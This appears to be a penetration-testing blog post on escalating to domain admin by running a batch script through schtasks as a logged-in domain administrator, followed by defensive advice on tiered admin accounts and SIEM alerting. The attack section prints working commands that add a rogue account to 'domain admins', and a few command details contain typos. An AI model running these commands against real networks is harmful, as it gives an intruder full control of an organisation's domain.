Background
Security experts and penetration testers have been preaching the dangers of using domain administrator accounts for general computer and server administration for years. Sprinkling cached domain admin credentials and sessions around an Active Directory network can be abused by hackers in many ways.
The most common and well known way is to gain local administrative access to a computer with a cached domain admin credential then dump that credential out of LSASS.exe process memory or from the LSA database. This method is so often used by attackers that any Endpoint Detection and Remediation (EDR) and AntiVirus (AV) systems worth their salt should detect and block this access.
There, case closed. Just use good EDR/AV and problem solved right?
While default methods of dumping this juicy data from computers gets caught, there are sneakier methods. Nanodump, for example can get handles to LSASS.exe in creative and interesting ways that is not always seen by EDR systems. However, there’s an even easier way to abuse and active Domain Administrator session.
Schtasks For The Win
The Windows Task Scheduler (schtasks.exe) can be used by local administrators to run tasks as any logged in users on a Windows PC and even sometimes when the account is just cached, depending on the hyper-v configuration. This can be abused by creating a batch script on the computer, putting commands in the .bat file that you would like to run, and running that batch script via a scheduled task.
The NetExec project has a built in module to do exactly this! Using NetExec to execute this attack is pretty self explanatory; review the project’s own documentation for how to do that. Today we’ll be exploiting it manually.
The first thing needed to execute this attack manually is local administrator access to a computer. This can be obtained either through privilege escalation or finding a computer on the domain that you have local administrative privilege to.
The next requirement is a bat file that we can put commands in to execute. Since local administrative access has already been gained, there are many ways to achieve this goal. The most straight forward is to echo a batch script to a file line by line. See the example batch script below.
@Echo off
echo %date% %time% >> C:\temp\bat_logs.txt
echo "triggered" >> C:\temp\bat_logs.txt
net user NEW-DA P@55w0rd /add /domain >> C:\temp\bat_logs.txt && echo "account created" >> C:\temp\bat_logs.txt || echo "error making user" >> C:\temp\bat_logs.txt
net group "domain admins" NEW-DA /add /domain >> C:\temp\bat_logs.txt && echo "NEW-DA added to domain admin group" >> C:\temp\bat_log.txt || echo "error adding user to group" >> C: \temp\bat_logs.txt
echo "finished" >> C:\temp\bat_logs.txt The example batch script will create a new user and log when the user is created, or what error caused the user to not be created to a text file located at C:\temp\bat_logs.txt.
After the batch script is create all that’s required to run it is to create a scheduled task that will run is as the victim domain administrator account, in the exmple below this is VICTIM-DA.
schtasks /create /sc ONIDLE /i 10 /tn Privesc /tr "C:\path\to\bat\file.bat" /ru VICTIM-DOMAIN.com\VICTIM-DA /rl HIGHESTLet’s break down the example schtasks command above.
/create – tells Windows that you’re creating a new schtask, and not modifying an existing one.
/sc – this tells Windows how to determine when the task is run, in this case its set to ONIDLE which means the task will run after the computer is in an idle state for a certain number of minutes.
/i – This is to set the number of minutes the computer should be idle for before running the task.
/tr – This is short for “Task Run”, this is what tells Windows what to do when the task is executed.
/ru – This is short for “Run User”, this is the main thing that gets abused. In this case we are setting it to the domain account VICTIM-DOMAIN.com\VICTIM-DA, who has an active session on this machine.
/rl – This is short for “Run Level” this sets the security level of the task, in this case “HIGHEST”.
schtasks /run /rn PrivescOnce the task in run any commands in the .bat file are executed. To run follow up commands an attacker would just need to modify the .bat file.
Protection
Granular Administrative Accounts
With the myriad of ways domain administrator cached credentials or active sessions can be abused the best defense here would be to ensure domain administrator sessions are not sprinkled around the network in the first place.
Granular administrative accounts are the key here. Instead of using a domain administrator account to administrate workstations and servers, tiers of administrative accounts need to be created and used.
Let’s say for example that we have a user jdoe. Jdoe is in IT and will be doing desktop support. They will need administrative privileges for all workstations. To achieve this jdoe is give a “Workstation Admin” account, jdoe-wadmin.
Now jdoe has been promoted! Their new responsibilities will include administrating the VDI servers. In order to achieve this jdoe-vadmin is created. Jdoe-vadmin has administrative access to the VDI servers, but nothing else. To do administrative work on Workstation jdoe still needs their jdoe-wadmin account.
Once again jdoe has been promoted! They now will be setting up new group policies, on-boarding new PCs, and administering the Domain Controllers. To achieve this the account jdoe-dadmin is created. jdoe-dadmin is of course a Domain Administrator. It does have the ability to administer workstations, and the VDI servers, however, they do not use this account for that. If they did it would trigger an alert in the Security Information and Event Management tool. This would make the security analysts reach out to make sure it was really jdoe doing that, then jdoe would be scheduled for training on proper admin account usage. Now instead of seeing jdoe-admin cached on several computers in the domain, attackers will only see jdoe-wadmin. This account can still be abused to run actions against workstations in the domain, but would not directly lead to full domain compromise.
Are Good EDR Rules Enough?
EDR Rules that monitor and alert or block the creation of certain dangerous scheduled tasks is a great link in the security chain for this attack vector, but it can’t be the only one. EDR Rules can be easily bypassed by clever attacker simply by changing the IOCs that EDRs will be looking for. Maybe instead of creating a new schtask they add a second action to an existing one, maybe instead of using a batch file they run the commands directly. EDR rules like this can be a great early warning system to indicate that someone on a computer has malicious intent, but isn’t a silver bullet to stop this attack outright.
Enforcing Proper Admin Account Hygiene
Just like in the example above, its important to be sure that organizations can track and investigate when a domain administrator’s account is used on computers other than the domain controllers. There are some cases where a domain administrator account is required to accomplish a task. The best practice would be to have security systems in place like a SEIM or EDR that can alert on domain administrator account logins to any of the computers on the network. Next there will need to be an official process for noting when Domain Administrative accounts need to be used on non-domain controller PCs. This process should include either modifying the detection rule to avoid alerting the defensive systems, or an easy to use and get to repository that Security Analysts can search for a computer to see currently known computers and domain administrator accounts to ensure only approved use is occurring.
